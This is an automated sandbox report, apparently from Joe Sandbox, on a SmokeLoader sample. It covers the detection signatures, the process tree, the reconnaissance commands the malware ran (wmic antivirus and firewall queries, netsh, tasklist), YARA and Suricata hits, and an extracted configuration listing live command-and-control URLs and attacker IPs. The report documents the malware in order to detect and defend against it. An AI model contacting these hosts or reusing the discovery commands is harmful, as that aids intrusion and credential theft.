Edit tour

Windows Analysis Report
KTh1gQlT9a.exe

Overview

General Information

Sample name:	KTh1gQlT9a.exe renamed because original name is a hash value
Original sample name:	6d9b8ff6442e3c42a7ad0e1238960057.exe
Analysis ID:	1518333
MD5:	6d9b8ff6442e3c42a7ad0e1238960057
SHA1:	fab711b446c2cc55f97c7a5afaa9f9833e01a0ea
SHA256:	a641af0462259586cf10b8867653e163f73b6066106455605643b08ab829ac77
Tags:	exeLummaStealeruser-abuse_ch
Infos:

Detection

SmokeLoader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Benign windows process drops PE files

Detected unpacking (changes PE section rights)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

System process connects to network (likely due to code injection or exploit)

Yara detected SmokeLoader

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Checks if the current machine is a virtual machine (disk enumeration)

Creates a thread in another existing process (thread injection)

Deletes itself after installation

Found evasive API chain (may stop execution after checking mutex)

Hides that the sample has been downloaded from the Internet (zone.identifier)

Injects code into the Windows Explorer (explorer.exe)

Machine Learning detection for dropped file

Machine Learning detection for sample

Maps a DLL or memory area into another process

Modifies the windows firewall

Queries sensitive Plug and Play Device Information (via WMI, Win32_PnPEntity, often done to detect virtual machines)

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Queries sensitive service information (via WMI, Win32_StartupCommand, often done to detect sandboxes)

Switches to a custom stack to bypass stack traces

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses ipconfig to lookup or modify the Windows network settings

Uses netsh to modify the Windows network and firewall settings

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)

Contains functionality to dynamically determine API calls

Contains functionality to enumerate process and check for explorer.exe or svchost.exe (often used for thread injection)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality to retrieve information about pressed keystrokes

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops files with a non-matching file extension (content does not match file extension)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found evasive API chain (date check)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Execution of Suspicious File Type Extension

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara signature match

Classification

Process Tree

System is w10x64

KTh1gQlT9a.exe (PID: 6160 cmdline: "C:\Users\user\Desktop\KTh1gQlT9a.exe" MD5: 6D9B8FF6442E3C42A7AD0E1238960057)

explorer.exe (PID: 1028 cmdline: C:\Windows\Explorer.EXE MD5: 662F4F92FDE3557E86D110526BB578D5)

E647.exe (PID: 4408 cmdline: C:\Users\user\AppData\Local\Temp\E647.exe MD5: 1A29ED2D1AE240EC1D6F50DCC960BAA3)

B575.exe (PID: 6160 cmdline: C:\Users\user\AppData\Local\Temp\B575.exe MD5: 12AD2C78F5EB326820444DCFE9DFA683)

explorer.exe (PID: 1684 cmdline: C:\Windows\SysWOW64\explorer.exe MD5: DD6597597673F72E10C9DE7901FBA0A8)

explorer.exe (PID: 6760 cmdline: C:\Windows\explorer.exe MD5: 662F4F92FDE3557E86D110526BB578D5)

explorer.exe (PID: 1532 cmdline: C:\Windows\SysWOW64\explorer.exe MD5: DD6597597673F72E10C9DE7901FBA0A8)

explorer.exe (PID: 6432 cmdline: C:\Windows\explorer.exe MD5: 662F4F92FDE3557E86D110526BB578D5)

explorer.exe (PID: 3304 cmdline: C:\Windows\SysWOW64\explorer.exe MD5: DD6597597673F72E10C9DE7901FBA0A8)

explorer.exe (PID: 5008 cmdline: C:\Windows\explorer.exe MD5: 662F4F92FDE3557E86D110526BB578D5)

cmd.exe (PID: 6476 cmdline: cmd MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6612 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WMIC.exe (PID: 4580 cmdline: wmic /namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /format:csv MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

WMIC.exe (PID: 5020 cmdline: wmic /namespace:\\root\SecurityCenter2 Path FirewallProduct Get displayName /format:csv MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

WMIC.exe (PID: 356 cmdline: wmic /namespace:\\root\SecurityCenter2 Path AntiSpywareProduct Get displayName /format:csv MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

WMIC.exe (PID: 5176 cmdline: wmic /namespace:\\root\cimv2 Path Win32_Processor Get Name,DeviceID,NumberOfCores /format:csv MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

WMIC.exe (PID: 764 cmdline: wmic /namespace:\\root\cimv2 Path Win32_Product Get Name,Version /format:csv MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

WMIC.exe (PID: 2656 cmdline: wmic /namespace:\\root\cimv2 Path Win32_NetworkAdapter Where PhysicalAdapter=TRUE Get Name,MACAddress,ProductName,ServiceName,NetConnectionID /format:csv MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

WMIC.exe (PID: 5996 cmdline: wmic /namespace:\\root\cimv2 Path Win32_StartupCommand Get Name,Location,Command /format:csv MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

WMIC.exe (PID: 6196 cmdline: wmic /namespace:\\root\cimv2 Path Win32_OperatingSystem Get Caption,CSDVersion,BuildNumber,Version,BuildType,CountryCode,CurrentTimeZone,InstallDate,LastBootUpTime,Locale,OSArchitecture,OSLanguage,OSProductSuite,OSType,SystemDirectory,Organization,RegisteredUser,SerialNumber /format:csv MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

WMIC.exe (PID: 2800 cmdline: wmic /namespace:\\root\cimv2 Path Win32_Process Get Caption,CommandLine,ExecutablePath,ProcessId /format:csv MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

WMIC.exe (PID: 1100 cmdline: wmic /namespace:\\root\cimv2 Path Win32_Volume Get Name,Label,FileSystem,SerialNumber,BootVolume,Capacity,DriveType /format:csv MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

WMIC.exe (PID: 5840 cmdline: wmic /namespace:\\root\cimv2 Path Win32_UserAccount Get Name,Domain,AccountType,LocalAccount,Disabled,Status,SID /format:csv MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

WMIC.exe (PID: 5500 cmdline: wmic /namespace:\\root\cimv2 Path Win32_GroupUser Get GroupComponent,PartComponent /format:csv MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

WMIC.exe (PID: 5428 cmdline: wmic /namespace:\\root\cimv2 Path Win32_ComputerSystem Get Caption,Manufacturer,PrimaryOwnerName,UserName,Workgroup /format:csv MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

WMIC.exe (PID: 5988 cmdline: wmic /namespace:\\root\cimv2 Path Win32_PnPEntity Where ClassGuid="{50dd5230-ba8a-11d1-bf5d-0000f805f530}" Get Name,DeviceID,PNPDeviceID,Manufacturer,Description /format:csv MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

ipconfig.exe (PID: 2316 cmdline: ipconfig /displaydns MD5: 62F170FB07FDBB79CEB7147101406EB8)

ROUTE.EXE (PID: 5512 cmdline: route print MD5: 3C97E63423E527BA8381E81CBA00B8CD)

netsh.exe (PID: 7016 cmdline: netsh firewall show state MD5: 6F1E6DD688818BC3D1391D0CC7D597EB)

systeminfo.exe (PID: 2780 cmdline: systeminfo MD5: EE309A9C61511E907D87B10EF226FDCD)

tasklist.exe (PID: 7064 cmdline: tasklist /v /fo csv MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

esjbbri (PID: 3176 cmdline: C:\Users\user\AppData\Roaming\esjbbri MD5: 6D9B8FF6442E3C42A7AD0E1238960057)

uejbbri (PID: 3724 cmdline: C:\Users\user\AppData\Roaming\uejbbri MD5: 1A29ED2D1AE240EC1D6F50DCC960BAA3)

msiexec.exe (PID: 2604 cmdline: C:\Windows\system32\msiexec.exe /V MD5: E5DA170027542E25EDE42FC54C929077)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
SmokeLoader	The SmokeLoader family is a generic backdoor with a range of capabilities which depend on the modules included in any given build of the malware. The malware is delivered in a variety of ways and is broadly associated with criminal activity. The malware frequently tries to hide its C2 activity by generating requests to legitimate sites such as microsoft.com, bing.com, adobe.com, and others. Typically the actual Download returns an HTTP 404 but still contains data in the Response Body.	SMOKY SPIDER	http://security.neurolabs.club/2019/08/smokeloaders-hardcoded-domains-sneaky.html http://security.neurolabs.club/2019/10/dynamic-imports-and-working-around.html http://security.neurolabs.club/2020/04/diffing-malware-samples-using-bindiff.html http://security.neurolabs.club/2020/06/unpacking-smokeloader-and.html https://0xc0decafe.com/2020/12/23/detect-rc4-in-malicious-binaries	https://malpedia.caad.fkie.fraunhofer.de/details/win.smokeloader

Malware Configuration

Threatname: SmokeLoader

{"Version": 2022, "C2 list": ["http://nwgrus.ru/tmp/index.php", "http://tech-servers.in.net/tmp/index.php", "http://unicea.ws/tmp/index.php"]}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000004.00000002.2365373242.00000000026CD000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x12208:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000007.00000002.2900663679.00000000025ED000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x12300:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000004.00000002.2365295307.0000000002631000.00000004.10000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000004.00000002.2365295307.0000000002631000.00000004.10000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x214:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000000.00000002.2141528306.00000000040E1000.00000004.10000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000000.00000002.2141528306.00000000040E1000.00000004.10000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x214:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000006.00000002.2655758710.00000000040F1000.00000004.10000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000006.00000002.2655758710.00000000040F1000.00000004.10000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x1e4:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000007.00000002.2900388143.00000000024A0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
0000000C.00000002.4535195693.0000000003221000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader	Yara detected SmokeLoader	Joe Security
00000000.00000002.2138650769.0000000002600000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000000.00000002.2139720397.000000000265D000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x12900:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000006.00000002.2655596562.000000000266D000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x124d8:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
0000000D.00000002.4535198953.0000000000D21000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader	Yara detected SmokeLoader	Joe Security
00000000.00000002.2138710138.0000000002610000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000000.00000002.2138710138.0000000002610000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x614:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000006.00000002.2655384170.0000000002620000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000006.00000002.2655384170.0000000002620000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x5e4:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000007.00000002.2900412124.00000000024B0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000007.00000002.2900412124.00000000024B0000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x5e4:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000006.00000002.2655265915.00000000024E0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000006.00000003.2603297963.0000000002610000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000004.00000002.2365221336.0000000002520000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000004.00000002.2365240792.0000000002530000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000004.00000002.2365240792.0000000002530000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x614:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000007.00000003.2843112467.00000000024B0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000007.00000002.2900483247.00000000025B1000.00000004.10000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000007.00000002.2900483247.00000000025B1000.00000004.10000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x1e4:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
Process Memory Space: explorer.exe PID: 1532	JoeSecurity_SmokeLoader	Yara detected SmokeLoader	Joe Security
Process Memory Space: explorer.exe PID: 6432	JoeSecurity_SmokeLoader	Yara detected SmokeLoader	Joe Security
Click to see the 25 entries

Unpacked PEs

Source	Rule	Description	Author
6.2.E647.exe.24e0e67.1.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
6.2.E647.exe.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
7.3.uejbbri.24b0000.0.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
6.3.E647.exe.2610000.0.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
7.2.uejbbri.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
7.2.uejbbri.24a0e67.1.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
Click to see the 1 entries

Sigma Signatures

System Summary

Sigma detected: Execution of Suspicious File Type Extension

Source: Process started

Author: Max Altgelt (Nextron Systems): Data: Command: C:\Users\user\AppData\Roaming\esjbbri, CommandLine: C:\Users\user\AppData\Roaming\esjbbri, CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Roaming\esjbbri, NewProcessName: C:\Users\user\AppData\Roaming\esjbbri, OriginalFileName: C:\Users\user\AppData\Roaming\esjbbri, ParentCommandLine: , ParentImage: , ParentProcessId: 1068, ProcessCommandLine: C:\Users\user\AppData\Roaming\esjbbri, ProcessId: 3176, ProcessName: esjbbri

Sigma detected: Local Accounts Discovery

Source: Process started

Author: Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community: Data: Command: wmic /namespace:\\root\cimv2 Path Win32_UserAccount Get Name,Domain,AccountType,LocalAccount,Disabled,Status,SID /format:csv , CommandLine: wmic /namespace:\\root\cimv2 Path Win32_UserAccount Get Name,Domain,AccountType,LocalAccount,Disabled,Status,SID /format:csv , CommandLine|base64offset|contains: h, Image: C:\Windows\System32\wbem\WMIC.exe, NewProcessName: C:\Windows\System32\wbem\WMIC.exe, OriginalFileName: C:\Windows\System32\wbem\WMIC.exe, ParentCommandLine: cmd, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6476, ParentProcessName: cmd.exe, ProcessCommandLine: wmic /namespace:\\root\cimv2 Path Win32_UserAccount Get Name,Domain,AccountType,LocalAccount,Disabled,Status,SID /format:csv , ProcessId: 5840, ProcessName: WMIC.exe

Sigma detected: Suspicious Network Command

Source: Process started

Author: frack113, Christopher Peacock '@securepeacock', SCYTHE '@scythe_io': Data: Command: route print, CommandLine: route print, CommandLine|base64offset|contains: , Image: C:\Windows\System32\ROUTE.EXE, NewProcessName: C:\Windows\System32\ROUTE.EXE, OriginalFileName: C:\Windows\System32\ROUTE.EXE, ParentCommandLine: cmd, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6476, ParentProcessName: cmd.exe, ProcessCommandLine: route print, ProcessId: 5512, ProcessName: ROUTE.EXE

Suricata Signatures

ET MALWARE Suspected Smokeloader Activity (POST)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-25T16:01:30.964560+0200	2039103	1	A Network Trojan was detected	192.168.2.5	49711	116.58.10.60	80	TCP
2024-09-25T16:01:32.199413+0200	2039103	1	A Network Trojan was detected	192.168.2.5	49712	116.58.10.60	80	TCP
2024-09-25T16:01:33.468152+0200	2039103	1	A Network Trojan was detected	192.168.2.5	49713	116.58.10.60	80	TCP
2024-09-25T16:01:34.746162+0200	2039103	1	A Network Trojan was detected	192.168.2.5	49714	116.58.10.60	80	TCP
2024-09-25T16:01:36.015287+0200	2039103	1	A Network Trojan was detected	192.168.2.5	49715	116.58.10.60	80	TCP
2024-09-25T16:01:37.606649+0200	2039103	1	A Network Trojan was detected	192.168.2.5	49716	116.58.10.60	80	TCP
2024-09-25T16:01:39.026227+0200	2039103	1	A Network Trojan was detected	192.168.2.5	49717	116.58.10.60	80	TCP
2024-09-25T16:01:40.325430+0200	2039103	1	A Network Trojan was detected	192.168.2.5	49718	116.58.10.60	80	TCP
2024-09-25T16:01:41.599554+0200	2039103	1	A Network Trojan was detected	192.168.2.5	49719	116.58.10.60	80	TCP
2024-09-25T16:01:42.875381+0200	2039103	1	A Network Trojan was detected	192.168.2.5	49720	116.58.10.60	80	TCP
2024-09-25T16:01:44.128986+0200	2039103	1	A Network Trojan was detected	192.168.2.5	49721	116.58.10.60	80	TCP
2024-09-25T16:01:45.386549+0200	2039103	1	A Network Trojan was detected	192.168.2.5	49722	116.58.10.60	80	TCP
2024-09-25T16:01:46.759129+0200	2039103	1	A Network Trojan was detected	192.168.2.5	49723	116.58.10.60	80	TCP
2024-09-25T16:01:48.049798+0200	2039103	1	A Network Trojan was detected	192.168.2.5	49724	116.58.10.60	80	TCP
2024-09-25T16:01:49.324358+0200	2039103	1	A Network Trojan was detected	192.168.2.5	49725	116.58.10.60	80	TCP
2024-09-25T16:01:50.596094+0200	2039103	1	A Network Trojan was detected	192.168.2.5	49726	116.58.10.60	80	TCP
2024-09-25T16:01:51.861069+0200	2039103	1	A Network Trojan was detected	192.168.2.5	49727	116.58.10.60	80	TCP
2024-09-25T16:01:53.130512+0200	2039103	1	A Network Trojan was detected	192.168.2.5	49728	116.58.10.60	80	TCP
2024-09-25T16:01:54.403705+0200	2039103	1	A Network Trojan was detected	192.168.2.5	49729	116.58.10.60	80	TCP
2024-09-25T16:01:55.668995+0200	2039103	1	A Network Trojan was detected	192.168.2.5	49730	116.58.10.60	80	TCP
2024-09-25T16:01:58.462541+0200	2039103	1	A Network Trojan was detected	192.168.2.5	49732	116.58.10.60	80	TCP
2024-09-25T16:01:59.729148+0200	2039103	1	A Network Trojan was detected	192.168.2.5	49733	116.58.10.60	80	TCP
2024-09-25T16:02:01.002562+0200	2039103	1	A Network Trojan was detected	192.168.2.5	49735	116.58.10.60	80	TCP
2024-09-25T16:02:02.511353+0200	2039103	1	A Network Trojan was detected	192.168.2.5	49736	116.58.10.60	80	TCP
2024-09-25T16:02:04.095673+0200	2039103	1	A Network Trojan was detected	192.168.2.5	49737	116.58.10.60	80	TCP
2024-09-25T16:02:06.505504+0200	2039103	1	A Network Trojan was detected	192.168.2.5	49738	116.58.10.60	80	TCP
2024-09-25T16:02:07.770118+0200	2039103	1	A Network Trojan was detected	192.168.2.5	49739	116.58.10.60	80	TCP
2024-09-25T16:02:09.265193+0200	2039103	1	A Network Trojan was detected	192.168.2.5	49740	116.58.10.60	80	TCP
2024-09-25T16:02:20.156005+0200	2039103	1	A Network Trojan was detected	192.168.2.5	49741	23.145.40.162	443	TCP
2024-09-25T16:02:21.806634+0200	2039103	1	A Network Trojan was detected	192.168.2.5	49742	23.145.40.162	443	TCP
2024-09-25T16:02:22.789674+0200	2039103	1	A Network Trojan was detected	192.168.2.5	49743	23.145.40.162	443	TCP
2024-09-25T16:02:23.667347+0200	2039103	1	A Network Trojan was detected	192.168.2.5	49744	23.145.40.162	443	TCP
2024-09-25T16:02:24.558695+0200	2039103	1	A Network Trojan was detected	192.168.2.5	49745	23.145.40.162	443	TCP
2024-09-25T16:02:25.615628+0200	2039103	1	A Network Trojan was detected	192.168.2.5	49746	23.145.40.162	443	TCP
2024-09-25T16:02:26.570388+0200	2039103	1	A Network Trojan was detected	192.168.2.5	49747	23.145.40.162	443	TCP
2024-09-25T16:02:27.541564+0200	2039103	1	A Network Trojan was detected	192.168.2.5	49748	23.145.40.162	443	TCP
2024-09-25T16:02:28.599198+0200	2039103	1	A Network Trojan was detected	192.168.2.5	49749	23.145.40.162	443	TCP
2024-09-25T16:02:29.775443+0200	2039103	1	A Network Trojan was detected	192.168.2.5	49750	23.145.40.162	443	TCP
2024-09-25T16:02:36.401964+0200	2039103	1	A Network Trojan was detected	192.168.2.5	49751	23.145.40.162	443	TCP
2024-09-25T16:03:21.252704+0200	2039103	1	A Network Trojan was detected	192.168.2.5	49752	116.58.10.60	80	TCP
2024-09-25T16:03:31.755722+0200	2039103	1	A Network Trojan was detected	192.168.2.5	49753	116.58.10.60	80	TCP
2024-09-25T16:03:45.252831+0200	2039103	1	A Network Trojan was detected	192.168.2.5	49754	116.58.10.60	80	TCP
2024-09-25T16:03:53.184311+0200	2039103	1	A Network Trojan was detected	192.168.2.5	49755	23.145.40.162	443	TCP
2024-09-25T16:04:04.585527+0200	2039103	1	A Network Trojan was detected	192.168.2.5	49756	190.98.23.157	80	TCP
2024-09-25T16:04:13.856339+0200	2039103	1	A Network Trojan was detected	192.168.2.5	49757	23.145.40.162	443	TCP
2024-09-25T16:04:26.957735+0200	2039103	1	A Network Trojan was detected	192.168.2.5	49758	190.98.23.157	80	TCP
2024-09-25T16:04:36.813735+0200	2039103	1	A Network Trojan was detected	192.168.2.5	49759	23.145.40.162	443	TCP
2024-09-25T16:04:50.039241+0200	2039103	1	A Network Trojan was detected	192.168.2.5	49760	190.98.23.157	80	TCP
2024-09-25T16:04:59.137001+0200	2039103	1	A Network Trojan was detected	192.168.2.5	49761	23.145.40.162	443	TCP

ETPRO MALWARE Dridex Post Checkin Activity 3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-25T16:02:20.563474+0200	2809882	1	Malware Command and Control Activity Detected	192.168.2.5	49741	23.145.40.162	443	TCP
2024-09-25T16:02:22.175887+0200	2809882	1	Malware Command and Control Activity Detected	192.168.2.5	49742	23.145.40.162	443	TCP
2024-09-25T16:02:23.074361+0200	2809882	1	Malware Command and Control Activity Detected	192.168.2.5	49743	23.145.40.162	443	TCP
2024-09-25T16:02:23.949540+0200	2809882	1	Malware Command and Control Activity Detected	192.168.2.5	49744	23.145.40.162	443	TCP
2024-09-25T16:02:24.991989+0200	2809882	1	Malware Command and Control Activity Detected	192.168.2.5	49745	23.145.40.162	443	TCP
2024-09-25T16:02:25.892849+0200	2809882	1	Malware Command and Control Activity Detected	192.168.2.5	49746	23.145.40.162	443	TCP
2024-09-25T16:02:26.856911+0200	2809882	1	Malware Command and Control Activity Detected	192.168.2.5	49747	23.145.40.162	443	TCP
2024-09-25T16:02:27.820364+0200	2809882	1	Malware Command and Control Activity Detected	192.168.2.5	49748	23.145.40.162	443	TCP
2024-09-25T16:02:28.922723+0200	2809882	1	Malware Command and Control Activity Detected	192.168.2.5	49749	23.145.40.162	443	TCP
2024-09-25T16:02:30.052893+0200	2809882	1	Malware Command and Control Activity Detected	192.168.2.5	49750	23.145.40.162	443	TCP
2024-09-25T16:02:36.940781+0200	2809882	1	Malware Command and Control Activity Detected	192.168.2.5	49751	23.145.40.162	443	TCP
2024-09-25T16:03:53.528263+0200	2809882	1	Malware Command and Control Activity Detected	192.168.2.5	49755	23.145.40.162	443	TCP
2024-09-25T16:04:14.335519+0200	2809882	1	Malware Command and Control Activity Detected	192.168.2.5	49757	23.145.40.162	443	TCP
2024-09-25T16:04:37.139984+0200	2809882	1	Malware Command and Control Activity Detected	192.168.2.5	49759	23.145.40.162	443	TCP
2024-09-25T16:04:59.516202+0200	2809882	1	Malware Command and Control Activity Detected	192.168.2.5	49761	23.145.40.162	443	TCP

ETPRO MALWARE SmokeLoader encrypted module (3)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-25T16:02:20.659998+0200	2829848	2	Potentially Bad Traffic	23.145.40.162	443	192.168.2.5	49741	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: KTh1gQlT9a.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://nwgrus.ru/tmp/index.php

Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Roaming\esjbbri	Avira: detection malicious, Label: HEUR/AGEN.1310247
Source: C:\Users\user\AppData\Roaming\uejbbri	Avira: detection malicious, Label: HEUR/AGEN.1310247
Source: C:\Users\user\AppData\Local\Temp\E647.exe	Avira: detection malicious, Label: HEUR/AGEN.1310247

Found malware configuration

Source: 00000000.00000002.2138710138.0000000002610000.00000004.00001000.00020000.00000000.sdmp

Malware Configuration Extractor: SmokeLoader {"Version": 2022, "C2 list": ["http://nwgrus.ru/tmp/index.php", "http://tech-servers.in.net/tmp/index.php", "http://unicea.ws/tmp/index.php"]}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Roaming\esjbbri

ReversingLabs: Detection: 34%

Multi AV Scanner detection for submitted file

Source: KTh1gQlT9a.exe

ReversingLabs: Detection: 34%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\esjbbri	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\uejbbri	Joe Sandbox ML: detected
